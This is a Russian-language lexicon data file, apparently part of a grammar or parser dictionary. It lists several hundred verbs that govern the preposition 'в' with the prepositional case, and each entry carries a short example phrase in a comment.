rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
